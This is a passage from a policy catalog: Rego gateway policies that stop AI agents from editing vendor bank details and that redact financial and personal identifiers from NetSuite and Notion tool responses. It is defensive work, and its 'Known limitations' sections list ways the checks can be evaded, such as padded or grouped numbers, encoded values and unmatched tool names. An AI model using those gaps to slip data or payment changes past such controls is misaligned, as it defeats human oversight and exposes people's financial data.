top-level argument keys themselves (defense in depth — the verified # shape keeps fields inside the `data` string, but a variant/flattened call # that passed `accountNumber`/`routingNumber` as sibling args to `data` # would otherwise slip past); the benign `recordType`/`data` keys match no # pattern, so this adds no false positives. # 2. every key appearing anywhere in the decoded `data` (recursively) — so # bank fields nested inside sublists are inspected too. vendor_data_keys contains key if { some raw in object.keys(ns_args) key := lower(sprintf("%v", [raw])) } vendor_data_keys contains key if { some path walk(vendor_data, [path, _]) some raw in path key := lower(sprintf("%v", [raw])) } bank_field_present if { some key in vendor_data_keys some pattern in bank_field_patterns regex.match(pattern, key) } # A vendor write that touches banking/payment fields. is_vendor_banking_edit if { record_type == "vendor" bank_field_present } # Fail closed: a vendor write whose `data` cannot be parsed is treated as a # banking edit — we cannot prove it does not touch banking fields. is_vendor_banking_edit if { record_type == "vendor" not data_parseable } # Fail closed on identity: missing subject, claims, or groups means no # membership and therefore no exemption. caller_in_allowed_group if { claims := object.get(object.get(input, "subject", {}), "claims", {}) groups := object.get(claims, "groups", []) some group in groups allowed_groups[lower(group)] } # Pass through anything that is not a create/update write tool. allow if { not is_target_write_tool } # Create/update calls that are not vendor-banking edits pass through. allow if { is_target_write_tool not is_vendor_banking_edit } # Vendor-banking edits are allowed only for the AP-manager allowlist. allow if { is_target_write_tool is_vendor_banking_edit caller_in_allowed_group } reasons contains "Editing vendor banking or payment-instruction details through the agent is blocked to prevent payment fraud. Make vendor bank changes through your reviewed accounts-payable (AP) process instead. Contact your finance team if this is a false positive." if { is_target_write_tool is_vendor_banking_edit not caller_in_allowed_group } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### NetSuite: Redact Financial PII in Responses URL: https://www.intentbasedpolicy.com/policies/netsuite/redact-financial-pii App(s): netsuite | Direction: egress | Bundles: gdpr-ccpa, soc2 | Package: netsuite.egress.redact_financial_pii | Published: 2026-07-12 | Tags: netsuite, redact-pii, pii, financial-pii, dlp, redaction, egress, gdpr-ccpa, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/netsuite/redact-financial-pii/policy.md # netsuite / redact-financial-pii **Direction:** egress (`tool_post_invoke`) **Default:** allow (transform-only — never denies) **Package:** `netsuite.egress.redact_financial_pii` ## What it does Instantiates **PF-02 (redact-pii-egress)** on the NetSuite read path. It scans the response text returned by the record- and query-reading NetSuite MCP tools and rewrites financial-PII patterns to a single fixed masked token before the response reaches the agent context: | Class | Detection | Token | |---|---|---| | US SSN / ITIN | canonical hyphenated `XXX-XX-XXXX` form | `[REDACTED-FINANCIAL-PII]` | | US TIN / EIN | canonical hyphenated `XX-XXXXXXX` form | `[REDACTED-FINANCIAL-PII]` | | IBAN | contiguous `CC` + 2 check digits + 11–30 alphanumerics, upper-case | `[REDACTED-FINANCIAL-PII]` | | Bank account / routing number | run of **8 or more** digits **immediately preceded by an account/routing label** (`account`, `acct`, `a/c`, `routing`, `aba`, `rtn`) | `[REDACTED-FINANCIAL-PII]` | Matched substrings are replaced in place; the surrounding row/record structure and every non-matching character are left byte-identical, so the agent still gets a usable record or query result with only the financial-PII values masked. This is a **transform-only** policy (`default allow := true`): it never denies a call, so a legitimate `ns_getRecord` / SuiteQL / saved-search read still succeeds — it just comes back with SSN/TIN, IBAN, and labelled bank/routing numbers masked. Responses with no matches (and every out-of-scope tool) pass through byte-identical. Every response field is read via `object.get`, so a missing or oddly-shaped payload is never an error — it simply passes through. **Why bank account numbers rather than card PANs.** NetSuite tokenizes card numbers, so full-PAN exposure through the MCP surface is unlikely; the realistic financial-PII payload on vendor / customer / employee master records is bank account and routing numbers. Cardholder-PAN masking (Luhn-validated, PF-01) is therefore intentionally **not** attempted here — see Composition and Known limitations. ## Compliance alignment - **SOC 2 CC6.7** — supports restricting the transmission/movement of confidential information by masking direct financial identifiers in record and query results as they leave the gateway toward the agent. - **SOC 2 C1.1** — supports identification and protection of confidential information on the ERP read path; **P4.1** — supports limiting personal-information use to identified purposes; **P6.1** — supports controls over personal-information disclosure by keeping raw financial identifiers out of agent context that does not need them. - **GDPR Art. 5(1)(c)** — supports data minimisation on agent reads of personal financial data; **Art. 9** — reduces special-category exposure on the MCP path where financial identifiers co-occur with HR/payroll columns; **Art. 5(1)(f) / Art. 32** — supports security of processing on the agent channel. - **CCPA/CPRA §1798.121** — supports limiting the use and disclosure of sensitive personal information (SSN, financial-account numbers) on the agent channel; **§1798.150** — reduces nonredacted-PI breach exposure. ## Why egress The financial PII already lives in NetSuite — there is nothing to block at ingress, and denying the read outright would make the agent useless for everyday finance work. The leak happens when the record or result set is returned to the MCP client, so the response path is the only place to catch it while keeping the result useful. Ingress SuiteQL/HR fencing and vendor-banking guards are separate concerns handled by companion policies (see Composition); this policy composes with them rather than replacing them. ## Tool name matching Applies on the output path (`input.mode == "output"`) to the three content-returning NetSuite read tools, matched case-insensitively **by suffix** from `input.resource.name` with `input.tool_metadata.name` as a fallback: - `ns_getRecord` - `ns_runCustomSuiteQL` - `ns_runSavedSearch` These are **verified** tool names from Oracle's official MCP Standard Tools SuiteApp (the same `ns_*` names are proxied by the community `dsvantien/netsuite-mcp-server`, so one policy covers both). Suffix matching keeps the policy portable across the gateway's server-name prefix (which is not standardised — the DTwo gateway prepends the configured MCP server name, e.g. `netsuite-ns_getRecord`). Verify the exact names your gateway emits with the dump-input debug technique before relying on this in production. Other NetSuite read tools that can surface the same data (`ns_runReport`, `ns_getRecordTypeMetadata`) and the ChatFin / glints community servers use different naming conventions (`get-*`, `netsuite_*`); they are intentionally **out of scope** here — add their suffixes to `financial_pii_read_suffixes` if your deployment exposes them. ## Response shape The policy reads `input.payload.text` — the MCP content-block array the gateway populates on `tool_post_invoke` — and rewrites each string block (including string blocks that carry serialized JSON record data, since the regexes run over the serialized text). Non-string blocks pass through unmodified. When at least one block changes, the policy emits `transform.transformed_payload` containing the original payload with the rewritten `text` array (all other payload keys preserved). When nothing changes, no transform is emitted and the response passes through byte-identical. ## Examples ### Redacted (in-scope tool, SSN on an employee record) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "netsuite-ns_getRecord", "type": "tool" }, "payload": { "name": "netsuite-ns_getRecord", "text": ["employee 214 | ssn 123-45-6789 | dept payroll"] } } } ``` `allow = true`, with `transform.transformed_payload.text` = `["employee 214 | ssn [REDACTED-FINANCIAL-PII] | dept payroll"]`. ### Redacted (SuiteQL result with a labelled bank account + routing number) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "netsuite-ns_runCustomSuiteQL", "type": "tool" }, "payload": { "name": "netsuite-ns_runCustomSuiteQL", "text": ["vendor Acme | account number: 000123456789 | routing 021000021"] } } } ``` `allow = true`, with `transform.transformed_payload.text` = `["vendor Acme | account number: [REDACTED-FINANCIAL-PII] | routing [REDACTED-FINANCIAL-PII]"]` (the `account` / `routing` labels are preserved; only the numbers are masked). ### Passed through (out-of-scope tool) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "netsuite-ns_createRecord", "type": "tool" }, "payload": { "name": "netsuite-ns_createRecord", "text": ["created employee 214 with ssn 123-45-6789"] } } } ``` `allow = true`, no `transform` — the policy only fires on the three content-returning read tools. ## Composition Single-purpose transform policy (`default allow := true`); it composes cleanly with the deny/transform policies on the same NetSuite pipeline. Recommended companions in `apps/netsuite`: - **`fence-hr-payroll-suiteql` (ingress deny)** — blocks SuiteQL/saved-search reads over HR/payroll tables so the sensitive data ideally never leaves NetSuite; this egress redaction is the backstop for the financial-PII that still comes back through allowed reads. - **`guard-vendor-banking` (ingress deny)** — the anti-BEC control on `ns_updateRecord` vendor banking edits (a write-path concern this read-path policy does not touch). - **`default-deny-unknown-tools` (ingress allowlist)** — on the `/services/mcp/v1/all` endpoint, custom SuiteScript tools have arbitrary developer-chosen names; a default-deny allowlist stops a newly-added (unredacted) read tool from silently reaching the agent. - A **cardholder-PAN masking policy (PF-01)** if your account stores raw PANs outside NetSuite's tokenization — PAN detection/Luhn masking is intentionally left to that companion and is not handled here. Because egress transforms compose sequentially in pipeline-attachment order, mind the ordering if another egress transform runs on the same pipeline. ## Known limitations - **Operates on serialized response text — deeply nested or encoded fields are a residual.** The regexes run over the string content blocks of `input.payload.text`. Values that are base64/hex-encoded, split across separate content blocks or JSON cells, or buried in a structured non-string block are **not** decoded and so are not caught. Treat this as a high-signal minimum-necessary layer, not a complete DLP solution; pair it with the ingress HR/SuiteQL fences that stop the sensitive query in the first place. - **SSN/TIN detection is canonical-form only.** SSN/ITIN is matched in the hyphenated `XXX-XX-XXXX` form and EIN/TIN in the `XX-XXXXXXX` form. Bare 9-digit runs are deliberately **not** matched — they collide with NetSuite internal IDs, transaction numbers, and sequence values, which would fire constant false positives. Dot- or space-separated forms (`123.45.6789`, `123 45 6789`) and full-width/unicode-digit forms are not matched either. Both patterns are **word-boundary anchored**, so an extra digit or letter fused to either end (`123-45-67890`, `X12-3456789`) breaks the boundary and the value passes through unmasked — deliberate, to keep the pattern from matching inside longer numeric IDs, but it means an adversary who pads the identifier with an adjacent character evades this class (the padded value is also corrupted, limiting its usefulness). The label-anchored bank rule and the ingress SuiteQL/HR fences are the backstop. - **Bank/routing detection is label-anchored.** A bank account or routing number is only masked when an account/routing label (`account`, `acct`, `a/c`, `routing`, `aba`, `rtn`) appears within 12 non-digit characters before a run of 8 or more digits. This is deliberately conservative: an unlabelled bare digit run is indistinguishable from an order total, internal ID, or date and is left intact. The 8-digit floor also applies to **labelled** runs, so a labelled account/routing number **shorter than 8 digits** (`account 1234567`) passes through unmasked even though the label makes its intent clear — the floor is uniform to keep the pattern simple and avoid masking short labelled figures (line items, short internal IDs). US routing numbers are 9 digits and most bank account numbers are 8+, so the common case is covered; the short-account gap is a residual backstopped by the ingress HR/SuiteQL fences. Lower `\d{8,}` to `\d{6,}` if your account stores short account numbers. The digit run has **no upper length bound** — an earlier `\d{8,17}` form silently leaked any labelled run longer than 17 digits (the trailing word-boundary anchor could never sit inside an all-digit run, so the whole match failed open); the pattern now uses a greedy `\d{8,}` so a long labelled account/routing number is masked in full. The label must still sit on a **word boundary** immediately before the number, so a label fused into a longer word (`bankaccount 12345678`) is not anchored and passes through. Likewise the digit run must be **contiguous**: an account or routing number printed with internal spaces or hyphens (`account 1234-5678-9012`, `acct 1234 5678 9012`) has no single run of 8+ digits — each grouped segment falls under the threshold — so the value passes through unmasked (the same grouping residual noted for IBANs below). Contiguous runs are the common case from `ns_getRecord` / SuiteQL columns; grouped display strings in free-text notes are the residual, backstopped by the ingress HR/SuiteQL fences. The flip side of the label anchor is a residual **over-redaction** — an unrelated run of 8+ digits that happens to follow one of those label words within 12 characters (e.g. `account balance is 12345678`) is masked. On egress this is safe (over-masking, never disclosure) but can obscure legitimate figures; tune `bank_pattern` if your results routinely place amounts next to those labels. - **IBAN detection is contiguous and upper-case only.** The IBAN pattern matches a contiguous upper-case `CC` + 2 check digits + 11–30 alphanumerics. Space-grouped IBANs (`GB29 NWBK 6016 …`) and lower-case IBANs are not matched, and a long upper-case alphanumeric token that happens to start with two letters and two digits can be over-redacted. Both are conservative trade-offs on the response path. - **Tool coverage is the three verified `ns_*` read tools only.** `ns_runReport`, metadata tools, and the ChatFin (`get-*`) / glints (`netsuite_*`) community servers use different names and are out of scope; add their suffixes to `financial_pii_read_suffixes`. Custom SuiteScript tools on `/services/mcp/v1/all` have unknowable names — rely on the companion `default-deny-unknown-tools` allowlist, not on this policy, to contain them. - **No identity-based exemption.** Every caller receives the same redaction; there is no `groups`-claim break-glass. If you need a finance/controller group to read raw values, add an `is_exempt` branch reading `input.subject.claims.groups` (via `object.get` chains, failing closed) as in the Snowflake `redact-pii-egress` model. Never rely on stripped ContextForge-internal claims (`is_admin`, `teams`, `user`) for such a check. - **Egress `transformed_payload` replaces the response payload wholesale.** Verify the rewrite against your gateway version with the dump-input technique before production, and mind attachment order if other egress transforms run on the same pipeline. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package netsuite.egress.redact_financial_pii # Transform-only egress policy: rewrites financial-PII patterns (US SSN/ITIN, # US TIN/EIN, IBAN, and label-anchored bank account/routing numbers) in the # responses of NetSuite's record- and query-reading MCP tools to a single fixed # masked token before the response reaches the agent. Never denies — a legitimate # read still succeeds, just with financial identifiers masked. Instantiates PF-02 # on the NetSuite read path. Cardholder-PAN masking is left to a companion PF-01 # policy (NetSuite tokenizes PANs, so bank account numbers are the realistic # payload). default allow := true # Fixed masked token. Contains no digits, no "@", and no account/routing label # word, so no redaction step can re-match a token emitted by an earlier step — # the chain order below is therefore safe. mask_token := "[REDACTED-FINANCIAL-PII]" # ----------------------------------------------------------------------------- # Scope: the three VERIFIED content-returning NetSuite read tools (Oracle's # official MCP Standard Tools SuiteApp; the dsvantien community server proxies # the same ns_* names). The gateway prefixes tool names with the configured MCP # server name (not standardised), so we match by suffix, case-insensitively. # ns_runReport, metadata tools, and the ChatFin/glints community servers use # different names and are intentionally out of scope — see Known limitations. # ----------------------------------------------------------------------------- financial_pii_read_suffixes := { "ns_getrecord", "ns_runcustomsuiteql", "ns_runsavedsearch", } is_financial_pii_read_tool if { input.mode == "output" some suffix in financial_pii_read_suffixes endswith(lower(object.get(object.get(input, "resource", {}), "name", "")), suffix) } is_financial_pii_read_tool if { # Egress hooks also expose the tool name under tool_metadata.name — check # both so we match regardless of which surface the gateway populates. input.mode == "output" some suffix in financial_pii_read_suffixes meta := object.get(input, "tool_metadata", {}) endswith(lower(object.get(meta, "name", "")), suffix) } # ----------------------------------------------------------------------------- # Detection patterns — anchored and conservative to limit false positives on # free-text and numeric ERP columns. # ----------------------------------------------------------------------------- # US SSN / ITIN in the canonical hyphenated 3-2-4 form only. Bare 9-digit runs # collide with NetSuite internal IDs and sequence values, so they are not matched. ssn_pattern := `\b\d{3}-\d{2}-\d{4}\b` # US TIN / EIN in the canonical hyphenated 2-7 form. Disjoint from the SSN 3-2-4 # shape, so the two patterns never fight over the same substring. ein_pattern := `\b\d{2}-\d{7}\b` # IBAN: contiguous upper-case country code (2 letters) + 2 check digits + 11-30 # alphanumerics (total 15-34 chars). Space-grouped and lower-case IBANs are not # matched — conservative on the response path. iban_pattern := `\b[A-Z]{2}\d{2}[A-Z0-9]{11,30}\b` # Bank account / routing number: a run of 8-or-more digits immediately preceded # by an account/routing label with at most 12 non-digit, non-newline characters # between the label and the number. Label-anchored so a bare digit run (order # total, internal ID, date) is not masked. The digit run has NO upper bound and # no trailing word-boundary anchor: an earlier `\d{8,17}\b` form silently LEAKED # any labelled run longer than 17 digits (the trailing `\b` can never sit inside # an all-digit run, so the whole match failed and the number passed through). A # greedy `\d{8,}` masks the full run instead. Capture groups $1 (label) and $2 # (connector) are preserved in the replacement; only the number is masked. bank_pattern := `(?i)\b(account|acct|a/c|routing|aba|rtn)([^0-9\n]{0,12})(\d{8,})` # ----------------------------------------------------------------------------- # Redaction steps — each is total over strings: it returns the input unchanged # when its class does not apply, so the steps chain safely. # ----------------------------------------------------------------------------- redact_ssn(t) := regex.replace(t, ssn_pattern, mask_token) redact_ein(t) := regex.replace(t, ein_pattern, mask_token) redact_iban(t) := regex.replace(t, iban_pattern, mask_token) # Preserve the account/routing label ($1) and the connector ($2); mask only the # numeric run. redact_bank(t) := regex.replace(t, bank_pattern, sprintf("$1$2%s", [mask_token])) # Order: SSN (3-2-4) then EIN (2-7, disjoint) then IBAN (letters+digits) then the # label-anchored bank/routing number. IBAN runs before the bank step so a labelled # IBAN is masked as an IBAN rather than being partially consumed by the bank # pattern. The mask token contains no digits/"@"/label words, so no later step # can re-match an earlier step's token. redact_block(b) := redact_bank(redact_iban(redact_ein(redact_ssn(b)))) if { is_string(b) } # Non-string content blocks (structured blocks) pass through unmodified. redact_block(b) := b if { not is_string(b) } # ----------------------------------------------------------------------------- # Transform — emitted only when the tool is in scope and at least one block # actually changed. Otherwise the rule is undefined and the aggregator skips this # policy, returning the response byte-identical. # ----------------------------------------------------------------------------- response_payload := object.get(input, "payload", {}) text_blocks := object.get(response_payload, "text", []) redacted_blocks := [out | some block in text_blocks out := redact_block(block) ] transform := { "transformed_payload": object.union(response_payload, {"text": redacted_blocks}), } if { is_financial_pii_read_tool is_array(text_blocks) redacted_blocks != text_blocks } ``` ### Notion: Redact PII from Read Responses URL: https://www.intentbasedpolicy.com/policies/notion/redact-pii-egress App(s): notion | Direction: egress | Bundles: soc2, hipaa, gdpr-ccpa | Package: notion.egress.redact_pii | Published: 2026-07-12 | Tags: notion, redact-pii, pii, dlp, redaction, egress, soc2, hipaa, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/notion/redact-pii-egress/policy.md # notion / redact-pii-egress **Direction:** egress (`tool_post_invoke`) **Default:** allow (transform-only — never denies) **Package:** `notion.egress.redact_pii` ## What it does Scans the responses of the Notion hosted MCP server's content-returning read tools and rewrites personally identifiable information to fixed redaction tokens before the response reaches the agent: | Class | Detection | Token | |---|---|---| | Email address | standard `local@domain.tld` shape | `[REDACTED-EMAIL]` | | US phone number | separator-formatted (e.g. `206-555-0100`, `(206) 555-0100`, `+1 206.555.0100`) | `[REDACTED-PHONE]` | Each class is matched independently — a lone email or a lone phone number is redacted on its own. Matches are replaced in place, so page structure, search snippets, query result rows, and comment threads stay usable and the agent keeps working context. The policy is transform-only: it never denies a call, and responses with no matches (and all out-of-scope tools) pass through byte-identical. Every response field is read via `object.get`, so missing or oddly-shaped payloads are never an error — they simply pass through. Notion page bodies and meeting notes (`notion-fetch`, `notion-query-meeting-notes`) routinely carry personal data — contact details, HR notes, candidate and customer identifiers — and data-source query results (`notion-query-data-sources`) can surface PII columns from HR trackers, CRM tables, and incident logs. Search results and comment threads quote the same content. Redaction keeps those identifiers out of an agent context that lacks a documented HR/legal group claim; this is the primary minimum-necessary control on the Notion MCP read path. ### Group exemption Callers whose IdP `groups` claim contains `hr` or `legal` (placeholder names — see Known limitations) receive **unredacted** responses. The check reads the claims via `object.get(input.subject, "claims", {})` and then `object.get(..., "groups", [])`: a missing subject, missing claims, missing `groups` claim, or a `groups` claim that is not a clean array/string of group names means the caller is *not* exempt and redaction applies — the grant fails closed. This failure mode is safe: a caller whose claims fail to arrive gets over-redaction, never disclosure. ## Compliance alignment Instantiates egress PII redaction (family PF-02) for Notion and supports alignment with: - **SOC 2 CC6.7** — supports restricting the transmission/movement of confidential information by masking direct identifiers in Notion content as it leaves the gateway toward the agent; **C1.1** — supports identification and protection of confidential information on the read path; **P4.1** — supports limiting personal-information use to identified purposes; **P6.1** — supports controls over personal-information disclosure by keeping raw identifiers out of agent context that doesn't need them. - **HIPAA §164.502(b) / §164.514(d)** — supports minimum-necessary, role-based limits: only placeholder `hr`/`legal` group members see raw identifiers; everyone else gets working page/query/comment content with identifiers masked. **§164.514(a)–(b)** — supports de-identification practice by stripping Safe-Harbor identifier classes (email, phone) from responses; **§164.530(c)** — supports privacy safeguards on the agent channel. - **GDPR Art. 5(1)(c)** — data minimisation on agent reads of personal data; **Art. 9** — reduces special-category exposure on the MCP path where identifiers co-occur with health/HR content in pages, meeting notes, and database rows; **Art. 5(1)(f) / Art. 32** — supports security of processing. - **CCPA/CPRA §1798.121** — supports limiting the use and disclosure of sensitive personal information on the agent channel; **§1798.150** — reduces nonredacted-PI breach exposure. ## Why egress The PII already lives in Notion — there is nothing to block at ingress, and denying page/search/query reads outright would make the agent useless for everyday knowledge work. The leak happens when page-derived text is returned to the MCP client, so the response path is the only place to catch it while keeping the content useful. This complements — not replaces — ingress fences: the companion `fence-user-directory` policy decides *who* may call the member-directory tool at all; this policy strips direct identifiers out of whatever content everyone else is allowed to read. ## Tool name matching Applies on the output path — scoped when either `input.mode == "output"` or `input.action == "tool_post_invoke"` holds, so redaction still fires on a gateway build that populates only one of the two (keying on `mode` alone would fail open if it were unset). Tools are matched case-insensitively **by suffix**, so the policy stays portable across the MCP server-name prefix the gateway adds (e.g. a server named `notion` yields `notion-notion-search`). The tool name is read from all three egress surfaces — `input.resource.name`, `input.tool_metadata.name`, and `input.payload.name` — and a suffix hit on **any** of them puts the call in scope, so a gateway that populates a different surface can't slip content past the scanner. Notion hosted MCP server (the Claude-connector default; all five names verified against Notion's supported-tools documentation). The `notion-` prefix is baked into the hosted server's tool names, so the suffixes below include it to prevent near-miss matches on other servers' generic `-search`/`-fetch` tools: - `notion-search` - `notion-fetch` - `notion-query-data-sources` - `notion-query-meeting-notes` - `notion-get-comments` `notion-get-users` is **deliberately not matched** — its entire purpose is returning member names and emails, so redacting it would return useless content while still burning the call. That tool is gated at ingress by the companion `fence-user-directory` policy instead. Verify the exact names your gateway emits with the dump-input debug technique before relying on this in production, and see Known limitations for read surfaces deliberately not matched. ## Response shape The policy reads `input.payload.text` — the MCP content-block array the gateway populates on `tool_post_invoke` — and rewrites each block. It handles the two content-block shapes a gateway realistically emits: - **Plain-string blocks** (`"text": ["...page body..."]`) are redacted directly, including string blocks that carry serialized JSON (query result rows), since the regexes run over the serialized text. - **MCP-standard structured text blocks** (`{"type":"text","text":"..."}`) have their inner `text` string redacted while every other key (`type`, `annotations`, …) is preserved. This branch is deliberate: without it, page and meeting-note body delivered as content-block *objects* — the canonical MCP wire shape — would slip past a string-only redactor untouched. Any other block (an object with no string `text` field, or a non-string / non-object value) passes through unmodified — the policy makes no claim over arbitrary structured data whose PII sits under other keys. When at least one block changes, the policy emits `transform.transformed_payload` containing the original payload with the rewritten `text` array (all other payload keys, including `name`, preserved). When nothing changes, no transform is emitted and the response passes through byte-identical. Note the `text` field must be an **array**: a gateway that returns a bare scalar string under `payload.text` (off the documented shape) is not rewritten — see Known limitations. ## Examples ### Redacted (in-scope tool, non-exempt caller) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "notion-notion-fetch", "type": "tool" }, "subject": { "sub": "auth0|u1", "claims": { "groups": ["marketing"] } }, "payload": { "name": "notion-notion-fetch", "text": ["Candidate contact: jane@acme.com or 206-555-0100"] } } } ``` `allow = true`, with `transform.transformed_payload.text` = `["Candidate contact: [REDACTED-EMAIL] or [REDACTED-PHONE]"]`. ### Passed through (exempt caller) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "notion-notion-fetch", "type": "tool" }, "subject": { "sub": "auth0|u2", "claims": { "groups": ["hr"] } }, "payload": { "name": "notion-notion-fetch", "text": ["Candidate contact: jane@acme.com"] } } } ``` `allow = true`, no `transform` — HR group members receive raw content. ## Composition Single-purpose transform policy (`default allow := true`); it composes cleanly with deny/transform policies on the same egress pipeline. Recommended companions in `apps/notion`: - The **`fence-user-directory`** ingress policy, which gates `notion-get-users` — the workspace member/guest email directory — by IdP group. This redactor deliberately leaves that tool out of scope (see above). - An ingress guard on `notion-query-data-sources` SQL (family PF-07 style) so sensitive HR/comp databases aren't queried at all by callers outside the owning team — this redactor is defense-in-depth behind it, not a substitute. - An ingress constraint on `notion-search` connected-tool fan-out (family PF-14): Notion search reaches into connected Slack, Google Drive, and Jira content, and this policy redacts whatever comes back either way. ## Known limitations - **Pattern-based detection is best-effort.** Conservative by design so it does not fire on Notion page IDs (32-hex UUIDs), dates, or version strings: phone numbers are matched only in separator-formatted US shapes (a contiguous digit run, a UUID segment, or a dotted version string does not match). Obfuscated, spelled-out, split-across-blocks, base64-encoded, or image-embedded values are not caught. Treat this as a high-signal minimum-necessary layer, not a complete DLP solution. - **Phone detection needs a separator after the area code.** Separator-formatted US shapes match (`206-555-0100`, `(206) 555-0100`, `+1 206.555.0100`), but `(206)555-0100` with no space after the closing parenthesis, bare 10-digit runs, most non-US formats, and a number with a directly-appended extension (`206-555-0100x123` — the trailing word-boundary anchor requires a non-word character after the final digit, so an adjacent letter/digit suppresses the match) are not matched (documented residual — the anchor is deliberate so the pattern does not fire inside longer digit/ID runs). - **Email regex is standard-shape.** It matches `local@domain.tld` and will also match an email embedded in a `user:pass@host` connection string; it will not match addresses split across markup or obfuscated as `jane [at] acme [dot] com`. - **Block coverage and the `text`-array assumption.** Redaction applies to plain-string entries of `input.payload.text` (including serialized-JSON strings) **and** to MCP-standard structured text blocks shaped as `{"type":"text","text":"..."}` (the inner `text` is redacted, other keys preserved). Blocks that are objects with **no string `text` field** (e.g. a custom `{"column":"email","value":"…"}` shape) pass through unmodified — the policy does not chase PII under arbitrary keys, so verify such shapes with the dump-input technique and extend `block_text` / `redact_block` if needed. Separately, the `text` field is assumed to be an **array**: a gateway that returns a bare scalar string under `payload.text` fails the `is_array` transform guard and the response is **not rewritten** (a fail-open residual on an off-spec shape — the documented gateway contract always emits an array; confirm yours with the dump-input technique before relying on this). - **Adjacent read surfaces are not matched.** Only the five hosted-server tools above are in scope. Content-returning tools **outside** that set stream content verbatim, unredacted: - `notion-get-users` — deliberately excluded; gate it at ingress with `fence-user-directory` (see Composition); - `notion-query-database-view` (returns database view rows) and `notion-get-async-task` (returns the eventual result of async operations, which can carry page content) — both verified hosted-server tools, not matched here; add their suffixes to `pii_read_suffixes` if your deployment relies on them for content reads; - the official **local** server (`search`, `retrieve-page-markdown`, `query-data-source`, …), the suekou community server (`notion_find`, `notion_read_page`, …), and the awkoy meta-tool server (`notion_execute`) use entirely different tool names — their generic / unprefixed names are deliberately not matched here (a bare `-search` suffix would collide with other servers). Instantiate a separate policy per implementation if you run one of those; note the suekou server's raw tool names are unverified in the landscape research. - **Group names are placeholders — replace `hr` and `legal` with your IdP's group names at import time.** The exemption is granted **only** for a `groups` claim shaped as an array of strings (a single bare string is also handled). Any other shape fails closed → redaction applies: a missing subject/claims/`groups`, an object/map (e.g. a namespaced or metadata claim like `{"department": "hr"}` — the `is_array` guard stops its *values* from being read as group names), and nested/non-string array elements are all treated as *not exempt*. If your IdP emits roles under a namespaced claim, adjust `caller_groups` to point at the array before matching. Missing claims always mean redaction applies — the failure mode is over-redaction, not disclosure. Note the placeholder group names are illustrative only and are not the ContextForge-internal `is_admin`/`teams`/`user` claims (which are stripped before reaching a policy and must never be used for gating). - **Egress `transformed_payload` replaces the response payload wholesale.** Verify the rewrite against your gateway version with the dump-input technique before production, and mind attachment order if other egress transforms run on the same pipeline. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package notion.egress.redact_pii # Transform-only egress policy: rewrites email addresses and phone numbers in # Notion read-tool responses to fixed redaction tokens before the response # reaches the agent. Never denies. Callers in the placeholder HR/legal IdP # groups receive unredacted responses; the group check fails closed, so a # caller with missing or oddly-shaped claims gets over-redaction, never # disclosure. default allow := true # ----------------------------------------------------------------------------- # Scope: Notion hosted-server read tools whose responses carry page-body, # meeting-note, search-snippet, query-row, or comment content. The hosted # server bakes the `notion-` prefix into its tool names, so the suffixes below # include it — a bare `-search`/`-fetch` suffix would collide with other MCP # servers' generic tools. Suffix matching keeps the policy portable across the # gateway server-name prefix (e.g. a server named `notion` emits # `notion-notion-search`). `notion-get-users` is deliberately absent: it is # gated at ingress by the companion fence-user-directory policy. # ----------------------------------------------------------------------------- pii_read_suffixes := { "notion-search", "notion-fetch", "notion-query-data-sources", "notion-query-meeting-notes", "notion-get-comments", } # Egress scope: match the post-invoke/output path on either mode or action. If # we keyed on input.mode alone and a gateway build left it unset, # is_pii_read_tool would silently fail and redaction would no-op (fail open, # leaking content). Ingress (tool_pre_invoke / mode "input") satisfies neither # branch, so it stays out of scope. is_egress if { input.mode == "output" } is_egress if { input.action == "tool_post_invoke" } # The tool name is exposed on egress under resource.name (PARC), # tool_metadata.name (legacy), and payload.name (tool-hook canonical). Collect # all three and match if ANY carries a read-tool suffix — matching only a # subset would let a gateway that populates a different surface slip content # past the scanner. candidate_names contains lower(object.get(object.get(input, "resource", {}), "name", "")) candidate_names contains lower(object.get(object.get(input, "tool_metadata", {}), "name", "")) candidate_names contains lower(object.get(object.get(input, "payload", {}), "name", "")) is_pii_read_tool if { is_egress some suffix in pii_read_suffixes some n in candidate_names endswith(n, suffix) } # ----------------------------------------------------------------------------- # Group exemption — placeholder IdP groups whose members receive unredacted # responses. Replace "hr" and "legal" with your IdP's group names at import # time. Claims are read via object.get(input.subject, "claims", {}); the # object.get chains mean a missing subject/claims/groups claim is never # exempt: the grant fails closed and redaction applies. # ----------------------------------------------------------------------------- exempt_groups := {"hr", "legal"} caller_claims := object.get(object.get(input, "subject", {}), "claims", {}) caller_groups := object.get(caller_claims, "groups", []) is_exempt if { # Only an array of group strings grants the exemption. The is_array guard # is load-bearing: `some g in caller_groups` over an OBJECT iterates its # values, so a namespaced/metadata claim like {"department": "hr"} would # else wrongly exempt the caller. is_string(g) keeps nested/non-string # elements from matching. Anything but a clean array of strings fails # closed -> redact. is_array(caller_groups) some g in caller_groups is_string(g) lower(g) in exempt_groups } is_exempt if { # Some IdPs emit a single group as a bare string rather than an array. is_string(caller_groups) lower(caller_groups) in exempt_groups } # ----------------------------------------------------------------------------- # Detection patterns — anchored and conservative to limit false positives on # Notion page IDs (32-hex UUIDs), dates, and version strings. # ----------------------------------------------------------------------------- # Standard email address shape: local part, @, domain, 2+ letter TLD. Word- # boundary anchored so it never fires inside longer alphanumeric runs. email_pattern := `\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b` # Separator-formatted US phone numbers (e.g. 206-555-0100, (206) 555-0100, # +1 206.555.0100). A separator after the area code is required, so contiguous # digit runs (IDs), UUID segments, dates (2026-07-15), and dotted version # strings are not matched. phone_pattern := `(?:\+?1[-. ])?(?:\(\d{3}\)|\b\d{3})[-. 